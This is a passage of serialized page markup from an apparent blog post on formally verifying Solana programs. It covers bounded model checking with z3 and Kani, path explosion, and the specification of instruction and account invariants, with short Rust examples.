ss":43,"line":930},[19640,19645,19649,19653,19657,19661],{"type":23,"tag":41,"props":19641,"children":19642},{"style":70},[19643],{"type":28,"value":19644},"s.add(z ",{"type":23,"tag":41,"props":19646,"children":19647},{"style":170},[19648],{"type":28,"value":387},{"type":23,"tag":41,"props":19650,"children":19651},{"style":70},[19652],{"type":28,"value":4514},{"type":23,"tag":41,"props":19654,"children":19655},{"style":170},[19656],{"type":28,"value":377},{"type":23,"tag":41,"props":19658,"children":19659},{"style":164},[19660],{"type":28,"value":178},{"type":23,"tag":41,"props":19662,"children":19663},{"style":70},[19664],{"type":28,"value":1969},{"type":23,"tag":41,"props":19666,"children":19667},{"class":43,"line":939},[19668],{"type":23,"tag":41,"props":19669,"children":19670},{"emptyLinePlaceholder":18},[19671],{"type":28,"value":82},{"type":23,"tag":41,"props":19673,"children":19674},{"class":43,"line":947},[19675],{"type":23,"tag":41,"props":19676,"children":19677},{"style":48},[19678],{"type":28,"value":19679},"# check if we can violate the correctness property\n",{"type":23,"tag":41,"props":19681,"children":19682},{"class":43,"line":985},[19683,19688,19692,19696],{"type":23,"tag":41,"props":19684,"children":19685},{"style":70},[19686],{"type":28,"value":19687},"s.add(Not(z ",{"type":23,"tag":41,"props":19689,"children":19690},{"style":170},[19691],{"type":28,"value":15679},{"type":23,"tag":41,"props":19693,"children":19694},{"style":164},[19695],{"type":28,"value":19241},{"type":23,"tag":41,"props":19697,"children":19698},{"style":70},[19699],{"type":28,"value":19700},"))\n",{"type":23,"tag":41,"props":19702,"children":19703},{"class":43,"line":1058},[19704,19709,19714],{"type":23,"tag":41,"props":19705,"children":19706},{"style":114},[19707],{"type":28,"value":19708},"print",{"type":23,"tag":41,"props":19710,"children":19711},{"style":70},[19712],{"type":28,"value":19713},"(s.check()) ",{"type":23,"tag":41,"props":19715,"children":19716},{"style":48},[19717],{"type":28,"value":19718},"# \"unsat\"\n",{"type":23,"tag":41,"props":19720,"children":19721},{"class":43,"line":1084},[19722],{"type":23,"tag":41,"props":19723,"children":19724},{"emptyLinePlaceholder":18},[19725],{"type":28,"value":82},{"type":23,"tag":41,"props":19727,"children":19728},{"class":43,"line":1102},[19729],{"type":23,"tag":41,"props":19730,"children":19731},{"style":48},[19732],{"type":28,"value":19733},"# Negative branch:\n",{"type":23,"tag":41,"props":19735,"children":19736},{"class":43,"line":1110},[19737,19741,19745],{"type":23,"tag":41,"props":19738,"children":19739},{"style":70},[19740],{"type":28,"value":19580},{"type":23,"tag":41,"props":19742,"children":19743},{"style":170},[19744],{"type":28,"value":2381},{"type":23,"tag":41,"props":19746,"children":19747},{"style":70},[19748],{"type":28,"value":19589},{"type":23,"tag":41,"props":19750,"children":19751},{"class":43,"line":1118},[19752,19756,19760,19764,19768,19772],{"type":23,"tag":41,"props":19753,"children":19754},{"style":70},[19755],{"type":28,"value":19597},{"type":23,"tag":41,"props":19757,"children":19758},{"style":170},[19759],{"type":28,"value":387},{"type":23,"tag":41,"props":19761,"children":19762},{"style":70},[19763],{"type":28,"value":19077},{"type":23,"tag":41,"props":19765,"children":19766},{"style":170},[19767],{"type":28,"value":4383},{"type":23,"tag":41,"props":19769,"children":19770},{"style":164},[19771],{"type":28,"value":19086},{"type":23,"tag":41,"props":19773,"children":19774},{"style":70},[19775],{"type":28,"value":1969},{"type":23,"tag":41,"props":19777,"children":19778},{"class":43,"line":1137},[19779,19783,19787,19791],{"type":23,"tag":41,"props":19780,"children":19781},{"style":70},[19782],{"type":28,"value":19597},{"type":23,"tag":41,"props":19784,"children":19785},{"style":170},[19786],{"type":28,"value":19402},{"type":23,"tag":41,"props":19788,"children":19789},{"style":164},[19790],{"type":28,"value":19123},{"type":23,"tag":41,"props":19792,"children":19793},{"style":70},[19794],{"type":28,"value":1969},{"type":23,"tag":41,"props":19796,"children":19797},{"class":43,"line":1163},[19798,19802,19806,19810,19814,19818],{"type":23,"tag":41,"props":19799,"children":19800},{"style":70},[19801],{"type":28,"value":19644},{"type":23,"tag":41,"props":19803,"children":19804},{"style":170},[19805],{"type":28,"value":387},{"type":23,"tag":41,"props":19807,"children":19808},{"style":70},[19809],{"type":28,"value":4514},{"type":23,"tag":41,"props":19811,"children":19812},{"style":170},[19813],{"type":28,"value":4383},{"type":23,"tag":41,"props":19815,"children":19816},{"style":164},[19817],{"type":28,"value":167},{"type":23,"tag":41,"props":19819,"children":19820},{"style":70},[19821],{"type":28,"value":1969},{"type":23,"tag":41,"props":19823,"children":19824},{"class":43,"line":1188},[19825],{"type":23,"tag":41,"props":19826,"children":19827},{"emptyLinePlaceholder":18},[19828],{"type":28,"value":82},{"type":23,"tag":41,"props":19830,"children":19831},{"class":43,"line":1979},[19832],{"type":23,"tag":41,"props":19833,"children":19834},{"style":48},[19835],{"type":28,"value":19679},{"type":23,"tag":41,"props":19837,"children":19838},{"class":43,"line":2002},[19839,19843,19847,19851],{"type":23,"tag":41,"props":19840,"children":19841},{"style":70},[19842],{"type":28,"value":19687},{"type":23,"tag":41,"props":19844,"children":19845},{"style":170},[19846],{"type":28,"value":15679},{"type":23,"tag":41,"props":19848,"children":19849},{"style":164},[19850],{"type":28,"value":19241},{"type":23,"tag":41,"props":19852,"children":19853},{"style":70},[19854],{"type":28,"value":19700},{"type":23,"tag":41,"props":19856,"children":19857},{"class":43,"line":3835},[19858,19862,19866],{"type":23,"tag":41,"props":19859,"children":19860},{"style":114},[19861],{"type":28,"value":19708},{"type":23,"tag":41,"props":19863,"children":19864},{"style":70},[19865],{"type":28,"value":19713},{"type":23,"tag":41,"props":19867,"children":19868},{"style":48},[19869],{"type":28,"value":19718},{"type":23,"tag":24,"props":19871,"children":19872},{},[19873,19875,19881,19883,19888],{"type":28,"value":19874},"Both of these cases return ",{"type":23,"tag":37,"props":19876,"children":19878},{"className":19877},[],[19879],{"type":28,"value":19880},"unsat",{"type":28,"value":19882}," meaning z3 could not find a way to violate the correctness property, hence our program is ",{"type":23,"tag":2913,"props":19884,"children":19885},{},[19886],{"type":28,"value":19887},"correct",{"type":28,"value":19889}," according to this property.",{"type":23,"tag":546,"props":19891,"children":19893},{"id":19892},"loop-bounds-path-explosion",[19894],{"type":28,"value":19895},"Loop bounds & path explosion",{"type":23,"tag":24,"props":19897,"children":19898},{},[19899,19901,19906,19908,19913],{"type":28,"value":19900},"As you may have noticed, BMC requires us to take ",{"type":23,"tag":2913,"props":19902,"children":19903},{},[19904],{"type":28,"value":19905},"every",{"type":28,"value":19907}," branch in the program. To be sure that our property holds, we need to check every possible route through the program. If we have 10 branches in a row we might need to test 2^10 paths! And if our program has loops, we may need to check an ",{"type":23,"tag":2913,"props":19909,"children":19910},{},[19911],{"type":28,"value":19912},"infinite",{"type":28,"value":19914}," number of paths because the loop branches backward. This might take a while...",{"type":23,"tag":24,"props":19916,"children":19917},{},[19918],{"type":28,"value":19919},"This is where the \"bounded\" part of \"bounded model checking\" applies. Rather than unroll an infinite number of loops, we can set a loop bound and also verify that it is not possible to loop more than the loop bound.",{"type":23,"tag":24,"props":19921,"children":19922},{},[19923],{"type":28,"value":19924},"While this technique of bounding loops makes the problem tractable. It is still expensive to run BMC on very large programs due to the problem of path explosion. As our program gets larger, the number of possible paths scales potentially exponentially.",{"type":23,"tag":24,"props":19926,"children":19927},{},[19928],{"type":28,"value":19929},"One of the main challenges we will discuss later is how to address this problem of path explosion in the context of Solana Rust programs.",{"type":23,"tag":546,"props":19931,"children":19933},{"id":19932},"kani-model-checker",[19934],{"type":28,"value":19935},"Kani Model Checker",{"type":23,"tag":24,"props":19937,"children":19938},{},[19939,19941,19946],{"type":28,"value":19940},"For our research with formally verifying Solana programs, we are using the ",{"type":23,"tag":458,"props":19942,"children":19944},{"href":18835,"rel":19943},[462],[19945],{"type":28,"value":18839},{"type":28,"value":19947},": an open-source, bit-precise model checker for Rust created at AWS. Under the hood, Kani uses the C Bounded Model Checker (CBMC) to do the heavy lifting.",{"type":23,"tag":24,"props":19949,"children":19950},{},[19951,19953,19958,19960,19966,19967,19973,19975,19981],{"type":28,"value":19952},"Kani allows you to write ",{"type":23,"tag":2913,"props":19954,"children":19955},{},[19956],{"type":28,"value":19957},"proof harnesses",{"type":28,"value":19959}," which can invoke Rust functions with symbolic values. These harnesses can ",{"type":23,"tag":37,"props":19961,"children":19963},{"className":19962},[],[19964],{"type":28,"value":19965},"assume",{"type":28,"value":1361},{"type":23,"tag":37,"props":19968,"children":19970},{"className":19969},[],[19971],{"type":28,"value":19972},"assert",{"type":28,"value":19974}," certain conditions about these symbolic values and then you can verify that a proof harness holds via the ",{"type":23,"tag":37,"props":19976,"children":19978},{"className":19977},[],[19979],{"type":28,"value":19980},"cargo kani",{"type":28,"value":19982}," tool (which compiles your proof harness and runs BMC).",{"type":23,"tag":446,"props":19984,"children":19986},{"id":19985},"specification-how-can-we-describe-what-we-want-our-program-to-do",[19987,19989,19993],{"type":28,"value":19988},"Specification: How can we describe what we ",{"type":23,"tag":2913,"props":19990,"children":19991},{},[19992],{"type":28,"value":18909},{"type":28,"value":18911},{"type":23,"tag":24,"props":19995,"children":19996},{},[19997],{"type":23,"tag":2913,"props":19998,"children":19999},{},[20000],{"type":23,"tag":510,"props":20001,"children":20002},{},[20003],{"type":28,"value":20004},"And what even do we want it to do?",{"type":23,"tag":24,"props":20006,"children":20007},{},[20008,20010,20015],{"type":28,"value":20009},"A fundamental challenge with any formal verification framework is ",{"type":23,"tag":2913,"props":20011,"children":20012},{},[20013],{"type":28,"value":20014},"specifying",{"type":28,"value":20016}," what the \"correct\" behavior should be.",{"type":23,"tag":24,"props":20018,"children":20019},{},[20020],{"type":28,"value":20021},"In natural language, we can describe a few good properties for example Solana programs:",{"type":23,"tag":417,"props":20023,"children":20024},{},[20025,20037,20049],{"type":23,"tag":421,"props":20026,"children":20027},{},[20028,20030,20035],{"type":28,"value":20029},"\"It should not be possible to ",{"type":23,"tag":510,"props":20031,"children":20032},{},[20033],{"type":28,"value":20034},"steal money",{"type":28,"value":20036}," via a swap program\"",{"type":23,"tag":421,"props":20038,"children":20039},{},[20040,20042,20047],{"type":28,"value":20041},"\"A multisig should never get into a state where you ",{"type":23,"tag":510,"props":20043,"children":20044},{},[20045],{"type":28,"value":20046},"can't sign anything",{"type":28,"value":20048},"\"",{"type":23,"tag":421,"props":20050,"children":20051},{},[20052],{"type":28,"value":20053},"\"User funds in a staking protocol \"",{"type":23,"tag":24,"props":20055,"children":20056},{},[20057,20059,20069,20071,20076],{"type":28,"value":20058},"These are types of properties you can tell your ",{"type":23,"tag":458,"props":20060,"children":20063},{"href":20061,"rel":20062},"https://osec.io/",[462],[20064],{"type":23,"tag":2913,"props":20065,"children":20066},{},[20067],{"type":28,"value":20068},"human auditors",{"type":28,"value":20070}," but these English phrases are not particularly useful for ",{"type":23,"tag":2913,"props":20072,"children":20073},{},[20074],{"type":28,"value":20075},"automated verification techniques",{"type":28,"value":20077}," (at least until our AI overlords surpass human intelligence).",{"type":23,"tag":24,"props":20079,"children":20080},{},[20081,20083,20088,20090,20095],{"type":28,"value":20082},"Instead, we need to be able to specify ",{"type":23,"tag":2913,"props":20084,"children":20085},{},[20086],{"type":28,"value":20087},"in code",{"type":28,"value":20089}," what properties we want to check. Ideally, we could define invariants that fit nicely into something like an ",{"type":23,"tag":37,"props":20091,"children":20093},{"className":20092},[],[20094],{"type":28,"value":19972},{"type":28,"value":20096}," statement.",{"type":23,"tag":546,"props":20098,"children":20100},{"id":20099},"solana-invariants",[20101],{"type":28,"value":20102},"Solana Invariants",{"type":23,"tag":24,"props":20104,"children":20105},{},[20106,20108,20113,20114,20119],{"type":28,"value":20107},"In the context of Solana programs we define two different types of properties that we would like to verify: ",{"type":23,"tag":510,"props":20109,"children":20110},{},[20111],{"type":28,"value":20112},"instruction invariants",{"type":28,"value":1361},{"type":23,"tag":510,"props":20115,"children":20116},{},[20117],{"type":28,"value":20118},"account invariants",{"type":28,"value":706},{"type":23,"tag":18881,"props":20121,"children":20123},{"id":20122},"instruction-invariant",[20124],{"type":28,"value":20125},"Instruction Invariant",{"type":23,"tag":24,"props":20127,"children":20128},{},[20129,20131,20136,20138,20144,20145,20151],{"type":28,"value":20130},"An ",{"type":23,"tag":510,"props":20132,"children":20133},{},[20134],{"type":28,"value":20135},"instruction invariant",{"type":28,"value":20137}," specifies sufficient conditions for an instruction to succeed (or fail). These are specified as ",{"type":23,"tag":37,"props":20139,"children":20141},{"className":20140},[],[20142],{"type":28,"value":20143},"succeeds_if",{"type":28,"value":13129},{"type":23,"tag":37,"props":20146,"children":20148},{"className":20147},[],[20149],{"type":28,"value":20150},"errors_if",{"type":28,"value":20152}," macro annotations on the instruction handler.",{"type":23,"tag":24,"props":20154,"children":20155},{},[20156],{"type":28,"value":20157},"In Solana, when an instruction fails, the entire transaction is reverted. Failing an instruction on purpose is commonly used as a form of access control; invalid accounts, bad state, etc... will cause an instruction to fail and get reverted.",{"type":23,"tag":24,"props":20159,"children":20160},{},[20161,20163,20169,20171,20176],{"type":28,"value":20162},"For example, say we have a ",{"type":23,"tag":37,"props":20164,"children":20166},{"className":20165},[],[20167],{"type":28,"value":20168},"Withdraw",{"type":28,"value":20170}," instruction that lets a user withdraw some tokens. A security critical property we may want to verify is that the user cannot withdraw ",{"type":23,"tag":2913,"props":20172,"children":20173},{},[20174],{"type":28,"value":20175},"more",{"type":28,"value":20177}," tokens than their current balance.",{"type":23,"tag":24,"props":20179,"children":20180},{},[20181,20183,20188],{"type":28,"value":20182},"Using our tool, you could specify the following ",{"type":23,"tag":37,"props":20184,"children":20186},{"className":20185},[],[20187],{"type":28,"value":20150},{"type":28,"value":20189}," property on your instruction handler:",{"type":23,"tag":31,"props":20191,"children":20193},{"code":20192,"language":2981,"meta":7,"className":2982,"style":7},"#[errors_if(\n    ctx.user.balance \u003C amount\n)]\nfn withdraw(ctx: Context\u003CWithdraw>, amount: u64) -> Result\u003C()> {\n    ...\n}\n",[20194],{"type":23,"tag":37,"props":20195,"children":20196},{"__ignoreMap":7},[20197,20205,20240,20248,20321,20328],{"type":23,"tag":41,"props":20198,"children":20199},{"class":43,"line":44},[20200],{"type":23,"tag":41,"props":20201,"children":20202},{"style":70},[20203],{"type":28,"value":20204},"#[errors_if(\n",{"type":23,"tag":41,"props":20206,"children":20207},{"class":43,"line":54},[20208,20213,20217,20222,20226,20231,20235],{"type":23,"tag":41,"props":20209,"children":20210},{"style":70},[20211],{"type":28,"value":20212},"    ctx",{"type":23,"tag":41,"props":20214,"children":20215},{"style":170},[20216],{"type":28,"value":706},{"type":23,"tag":41,"props":20218,"children":20219},{"style":70},[20220],{"type":28,"value":20221},"user",{"type":23,"tag":41,"props":20223,"children":20224},{"style":170},[20225],{"type":28,"value":706},{"type":23,"tag":41,"props":20227,"children":20228},{"style":70},[20229],{"type":28,"value":20230},"balance ",{"type":23,"tag":41,"props":20232,"children":20233},{"style":170},[20234],{"type":28,"value":1012},{"type":23,"tag":41,"props":20236,"children":20237},{"style":70},[20238],{"type":28,"value":20239}," amount\n",{"type":23,"tag":41,"props":20241,"children":20242},{"class":43,"line":76},[20243],{"type":23,"tag":41,"props":20244,"children":20245},{"style":70},[20246],{"type":28,"value":20247},")]\n",{"type":23,"tag":41,"props":20249,"children":20250},{"class":43,"line":85},[20251,20256,20261,20265,20270,20274,20279,20283,20287,20291,20296,20300,20304,20308,20312,20316],{"type":23,"tag":41,"props":20252,"children":20253},{"style":64},[20254],{"type":28,"value":20255},"fn",{"type":23,"tag":41,"props":20257,"children":20258},{"style":114},[20259],{"type":28,"value":20260}," withdraw",{"type":23,"tag":41,"props":20262,"children":20263},{"style":70},[20264],{"type":28,"value":1737},{"type":23,"tag":41,"props":20266,"children":20267},{"style":858},[20268],{"type":28,"value":20269},"ctx",{"type":23,"tag":41,"props":20271,"children":20272},{"style":170},[20273],{"type":28,"value":1474},{"type":23,"tag":41,"props":20275,"children":20276},{"style":94},[20277],{"type":28,"value":20278}," Context",{"type":23,"tag":41,"props":20280,"children":20281},{"style":70},[20282],{"type":28,"value":1012},{"type":23,"tag":41,"props":20284,"children":20285},{"style":94},[20286],{"type":28,"value":20168},{"type":23,"tag":41,"props":20288,"children":20289},{"style":70},[20290],{"type":28,"value":6629},{"type":23,"tag":41,"props":20292,"children":20293},{"style":858},[20294],{"type":28,"value":20295},"amount",{"type":23,"tag":41,"props":20297,"children":20298},{"style":170},[20299],{"type":28,"value":1474},{"type":23,"tag":41,"props":20301,"children":20302},{"style":94},[20303],{"type":28,"value":5860},{"type":23,"tag":41,"props":20305,"children":20306},{"style":70},[20307],{"type":28,"value":866},{"type":23,"tag":41,"props":20309,"children":20310},{"style":170},[20311],{"type":28,"value":2453},{"type":23,"tag":41,"props":20313,"children":20314},{"style":94},[20315],{"type":28,"value":13756},{"type":23,"tag":41,"props":20317,"children":20318},{"style":70},[20319],{"type":28,"value":20320},"\u003C()> {\n",{"type":23,"tag":41,"props":20322,"children":20323},{"class":43,"line":105},[20324],{"type":23,"tag":41,"props":20325,"children":20326},{"style":170},[20327],{"type":28,"value":1567},{"type":23,"tag":41,"props":20329,"children":20330},{"class":43,"line":155},[20331],{"type":23,"tag":41,"props":20332,"children":20333},{"style":70},[20334],{"type":28,"value":201},{"type":23,"tag":518,"props":20336,"children":20337},{},[20338],{"type":23,"tag":24,"props":20339,"children":20340},{},[20341,20342,20347,20349,20354,20356,20361],{"type":28,"value":16601},{"type":23,"tag":37,"props":20343,"children":20345},{"className":20344},[],[20346],{"type":28,"value":20150},{"type":28,"value":20348}," expression specifies ",{"type":23,"tag":2913,"props":20350,"children":20351},{},[20352],{"type":28,"value":20353},"succifient",{"type":28,"value":20355}," but not ",{"type":23,"tag":2913,"props":20357,"children":20358},{},[20359],{"type":28,"value":20360},"necessary",{"type":28,"value":20362}," conditions for an instruction to fail. I.e. it imposes a strong lower bound on what the requirements are for an instruction to fail.",{"type":23,"tag":442,"props":20364,"children":20365},{},[],{"type":23,"tag":24,"props":20367,"children":20368},{},[20369,20371,20376],{"type":28,"value":20370},"Another example is that for ",{"type":23,"tag":2913,"props":20372,"children":20373},{},[20374],{"type":28,"value":20375},"crank",{"type":28,"value":20377}," functions — run by unauthenticated users to advance the state of the system, you may want to prove that they never fail. In that case, you could specify an invariant like the following:",{"type":23,"tag":31,"props":20379,"children":20381},{"code":20380,"language":2981,"meta":7,"className":2982,"style":7},"#[succeeds_if(true)]\nfn my_crank(ctx: Context\u003CCrank>) -> Result\u003C()> {\n    ...\n}\n",[20382],{"type":23,"tag":37,"props":20383,"children":20384},{"__ignoreMap":7},[20385,20393,20447,20454],{"type":23,"tag":41,"props":20386,"children":20387},{"class":43,"line":44},[20388],{"type":23,"tag":41,"props":20389,"children":20390},{"style":70},[20391],{"type":28,"value":20392},"#[succeeds_if(true)]\n",{"type":23,"tag":41,"props":20394,"children":20395},{"class":43,"line":54},[20396,20400,20405,20409,20413,20417,20421,20425,20430,20435,20439,20443],{"type":23,"tag":41,"props":20397,"children":20398},{"style":64},[20399],{"type":28,"value":20255},{"type":23,"tag":41,"props":20401,"children":20402},{"style":114},[20403],{"type":28,"value":20404}," my_crank",{"type":23,"tag":41,"props":20406,"children":20407},{"style":70},[20408],{"type":28,"value":1737},{"type":23,"tag":41,"props":20410,"children":20411},{"style":858},[20412],{"type":28,"value":20269},{"type":23,"tag":41,"props":20414,"children":20415},{"style":170},[20416],{"type":28,"value":1474},{"type":23,"tag":41,"props":20418,"children":20419},{"style":94},[20420],{"type":28,"value":20278},{"type":23,"tag":41,"props":20422,"children":20423},{"style":70},[20424],{"type":28,"value":1012},{"type":23,"tag":41,"props":20426,"children":20427},{"style":94},[20428],{"type":28,"value":20429},"Crank",{"type":23,"tag":41,"props":20431,"children":20432},{"style":70},[20433],{"type":28,"value":20434},">) ",{"type":23,"tag":41,"props":20436,"children":20437},{"style":170},[20438],{"type":28,"value":2453},{"type":23,"tag":41,"props":20440,"children":20441},{"style":94},[20442],{"type":28,"value":13756},{"type":23,"tag":41,"props":20444,"children":20445},{"style":70},[20446],{"type":28,"value":20320},{"type":23,"tag":41,"props":20448,"children":20449},{"class":43,"line":76},[20450],{"type":23,"tag":41,"props":20451,"children":20452},{"style":170},[20453],{"type":28,"value":1567},{"type":23,"tag":41,"props":20455,"children":20456},{"class":43,"line":85},[20457],{"type":23,"tag":41,"props":20458,"children":20459},{"style":70},[20460],{"type":28,"value":201},{"type":23,"tag":24,"props":20462,"children":20463},{},[20464,20466,20470,20472,20478],{"type":28,"value":20465},"With this invariant, you could prove that the function ",{"type":23,"tag":2913,"props":20467,"children":20468},{},[20469],{"type":28,"value":13089},{"type":28,"value":20471}," returns ",{"type":23,"tag":37,"props":20473,"children":20475},{"className":20474},[],[20476],{"type":28,"value":20477},"Ok",{"type":28,"value":20479},". This type of construction could help avoid possible denial of service attacks if a crank could get \"stuck.\"",{"type":23,"tag":442,"props":20481,"children":20482},{},[],{"type":23,"tag":24,"props":20484,"children":20485},{},[20486,20488,20493,20494,20499,20501,20506,20508,20513,20515,20520],{"type":28,"value":20487},"Note that ",{"type":23,"tag":37,"props":20489,"children":20491},{"className":20490},[],[20492],{"type":28,"value":20143},{"type":28,"value":1361},{"type":23,"tag":37,"props":20495,"children":20497},{"className":20496},[],[20498],{"type":28,"value":20150},{"type":28,"value":20500}," are both implications and not biconditionals. That is, a function may succeed even if ",{"type":23,"tag":37,"props":20502,"children":20504},{"className":20503},[],[20505],{"type":28,"value":20143},{"type":28,"value":20507}," is not satisfied and a function may fail even if ",{"type":23,"tag":37,"props":20509,"children":20511},{"className":20510},[],[20512],{"type":28,"value":20150},{"type":28,"value":20514}," is not satisfied. If you want to prove the ",{"type":23,"tag":2913,"props":20516,"children":20517},{},[20518],{"type":28,"value":20519},"exact condition",{"type":28,"value":20521}," required for an instruction to succeed, you could use a form like the following:",{"type":23,"tag":31,"props":20523,"children":20525},{"code":20524,"language":2981,"meta":7,"className":2982,"style":7},"fn my_invariant(...) -> bool { ... }\n\n#[succeeds_if(my_invariant(...))]\n#[errors_if(!my_invariant(...))]\nfn my_instruction(ctx: Context\u003C...>) -> Result\u003C()> {\n    ...\n}\n",[20526],{"type":23,"tag":37,"props":20527,"children":20528},{"__ignoreMap":7},[20529,20573,20580,20597,20622,20674,20681],{"type":23,"tag":41,"props":20530,"children":20531},{"class":43,"line":44},[20532,20536,20541,20545,20549,20553,20557,20561,20565,20569],{"type":23,"tag":41,"props":20533,"children":20534},{"style":64},[20535],{"type":28,"value":20255},{"type":23,"tag":41,"props":20537,"children":20538},{"style":114},[20539],{"type":28,"value":20540}," my_invariant",{"type":23,"tag":41,"props":20542,"children":20543},{"style":70},[20544],{"type":28,"value":1737},{"type":23,"tag":41,"props":20546,"children":20547},{"style":170},[20548],{"type":28,"value":9589},{"type":23,"tag":41,"props":20550,"children":20551},{"style":70},[20552],{"type":28,"value":866},{"type":23,"tag":41,"props":20554,"children":20555},{"style":170},[20556],{"type":28,"value":2453},{"type":23,"tag":41,"props":20558,"children":20559},{"style":94},[20560],{"type":28,"value":12047},{"type":23,"tag":41,"props":20562,"children":20563},{"style":70},[20564],{"type":28,"value":9584},{"type":23,"tag":41,"props":20566,"children":20567},{"style":170},[20568],{"type":28,"value":9589},{"type":23,"tag":41,"props":20570,"children":20571},{"style":70},[20572],{"type":28,"value":9594},{"type":23,"tag":41,"props":20574,"children":20575},{"class":43,"line":54},[20576],{"type":23,"tag":41,"props":20577,"children":20578},{"emptyLinePlaceholder":18},[20579],{"type":28,"value":82},{"type":23,"tag":41,"props":20581,"children":20582},{"class":43,"line":76},[20583,20588,20592],{"type":23,"tag":41,"props":20584,"children":20585},{"style":70},[20586],{"type":28,"value":20587},"#[succeeds_if(my_invariant(",{"type":23,"tag":41,"props":20589,"children":20590},{"style":170},[20591],{"type":28,"value":9589},{"type":23,"tag":41,"props":20593,"children":20594},{"style":70},[20595],{"type":28,"value":20596},"))]\n",{"type":23,"tag":41,"props":20598,"children":20599},{"class":43,"line":85},[20600,20605,20609,20614,20618],{"type":23,"tag":41,"props":20601,"children":20602},{"style":70},[20603],{"type":28,"value":20604},"#[errors_if(",{"type":23,"tag":41,"props":20606,"children":20607},{"style":170},[20608],{"type":28,"value":2630},{"type":23,"tag":41,"props":20610,"children":20611},{"style":70},[20612],{"type":28,"value":20613},"my_invariant(",{"type":23,"tag":41,"props":20615,"children":20616},{"style":170},[20617],{"type":28,"value":9589},{"type":23,"tag":41,"props":20619,"children":20620},{"style":70},[20621],{"type":28,"value":20596},{"type":23,"tag":41,"props":20623,"children":20624},{"class":43,"line":105},[20625,20629,20634,20638,20642,20646,20650,20654,20658,20662,20666,20670],{"type":23,"tag":41,"props":20626,"children":20627},{"style":64},[20628],{"type":28,"value":20255},{"type":23,"tag":41,"props":20630,"children":20631},{"style":114},[20632],{"type":28,"value":20633}," my_instruction",{"type":23,"tag":41,"props":20635,"children":20636},{"style":70},[20637],{"type":28,"value":1737},{"type":23,"tag":41,"props":20639,"children":20640},{"style":858},[20641],{"type":28,"value":20269},{"type":23,"tag":41,"props":20643,"children":20644},{"style":170},[20645],{"type":28,"value":1474},{"type":23,"tag":41,"props":20647,"children":20648},{"style":94},[20649],{"type":28,"value":20278},{"type":23,"tag":41,"props":20651,"children":20652},{"style":70},[20653],{"type":28,"value":1012},{"type":23,"tag":41,"props":20655,"children":20656},{"style":170},[20657],{"type":28,"value":9589},{"type":23,"tag":41,"props":20659,"children":20660},{"style":70},[20661],{"type":28,"value":20434},{"type":23,"tag":41,"props":20663,"children":20664},{"style":170},[20665],{"type":28,"value":2453},{"type":23,"tag":41,"props":20667,"children":20668},{"style":94},[20669],{"type":28,"value":13756},{"type":23,"tag":41,"props":20671,"children":20672},{"style":70},[20673],{"type":28,"value":20320},{"type":23,"tag":41,"props":20675,"children":20676},{"class":43,"line":155},[20677],{"type":23,"tag":41,"props":20678,"children":20679},{"style":170},[20680],{"type":28,"value":1567},{"type":23,"tag":41,"props":20682,"children":20683},{"class":43,"line":186},[20684],{"type":23,"tag":41,"props":20685,"children":20686},{"style":70},[20687],{"type":28,"value":201},{"type":23,"tag":24,"props":20689,"children":20690},{},[20691],{"type":28,"value":20692},"Note that in practice, it is usually not necessary (or useful) to find the exact condition; rather we can achieve the security properties we want purely by proving upper and lower bounds on instruction success.",{"type":23,"tag":18881,"props":20694,"children":20696},{"id":20695},"account-invariants",[20697],{"type":28,"value":20698},"Account Invariants",{"type":23,"tag":24,"props":20700,"children":20701},{},[20702,20704,20709],{"type":28,"value":20703},"The other type of invariant is an ",{"type":23,"tag":510,"props":20705,"children":20706},{},[20707],{"type":28,"value":20708},"Account Invariant",{"type":28,"value":20710},". This invariant describes some property of an account that should always hold.",{"type":23,"tag":24,"props":20712,"children":20713},{},[20714,20716,20721,20722,20728],{"type":28,"value":20715},"In our tool, we verify that the account invariant holds after every instruction that could modify the account data (i.e. if the account is ",{"type":23,"tag":37,"props":20717,"children":20719},{"className":20718},[],[20720],{"type":28,"value":3723},{"type":28,"value":13129},{"type":23,"tag":37,"props":20723,"children":20725},{"className":20724},[],[20726],{"type":28,"value":20727},"init",{"type":28,"value":20729},").",{"type":23,"tag":24,"props":20731,"children":20732},{},[20733,20735,20741],{"type":28,"value":20734},"For example, given a mock ",{"type":23,"tag":37,"props":20736,"children":20738},{"className":20737},[],[20739],{"type":28,"value":20740},"UserStatement",{"type":28,"value":20742}," account that represents how much a user owns and owes, we could write an invariant that asserts that the net balance is positive:",{"type":23,"tag":31,"props":20744,"children":20746},{"code":20745,"language":2981,"meta":7,"className":2982,"style":7},"#[account]\n#[invariant(\n    self.assets >= self.liabilities\n)]\nstruct UserStatement {\n    pub owner: Pubkey,\n    pub assets: u64,\n    pub liabilities: u64,\n}\n",[20747],{"type":23,"tag":37,"props":20748,"children":20749},{"__ignoreMap":7},[20750,20758,20766,20800,20807,20823,20849,20873,20897],{"type":23,"tag":41,"props":20751,"children":20752},{"class":43,"line":44},[20753],{"type":23,"tag":41,"props":20754,"children":20755},{"style":70},[20756],{"type":28,"value":20757},"#[account]\n",{"type":23,"tag":41,"props":20759,"children":20760},{"class":43,"line":54},[20761],{"type":23,"tag":41,"props":20762,"children":20763},{"style":70},[20764],{"type":28,"value":20765},"#[invariant(\n",{"type":23,"tag":41,"props":20767,"children":20768},{"class":43,"line":76},[20769,20774,20778,20783,20787,20791,20795],{"type":23,"tag":41,"props":20770,"children":20771},{"style":70},[20772],{"type":28,"value":20773},"    self",{"type":23,"tag":41,"props":20775,"children":20776},{"style":170},[20777],{"type":28,"value":706},{"type":23,"tag":41,"props":20779,"children":20780},{"style":70},[20781],{"type":28,"value":20782},"assets ",{"type":23,"tag":41,"props":20784,"children":20785},{"style":170},[20786],{"type":28,"value":9941},{"type":23,"tag":41,"props":20788,"children":20789},{"style":70},[20790],{"type":28,"value":13791},{"type":23,"tag":41,"props":20792,"children":20793},{"style":170},[20794],{"type":28,"value":706},{"type":23,"tag":41,"props":20796,"children":20797},{"style":70},[20798],{"type":28,"value":20799},"liabilities\n",{"type":23,"tag":41,"props":20801,"children":20802},{"class":43,"line":85},[20803],{"type":23,"tag":41,"props":20804,"children":20805},{"style":70},[20806],{"type":28,"value":20247},{"type":23,"tag":41,"props":20808,"children":20809},{"class":43,"line":105},[20810,20814,20819],{"type":23,"tag":41,"props":20811,"children":20812},{"style":64},[20813],{"type":28,"value":9399},{"type":23,"tag":41,"props":20815,"children":20816},{"style":94},[20817],{"type":28,"value":20818}," 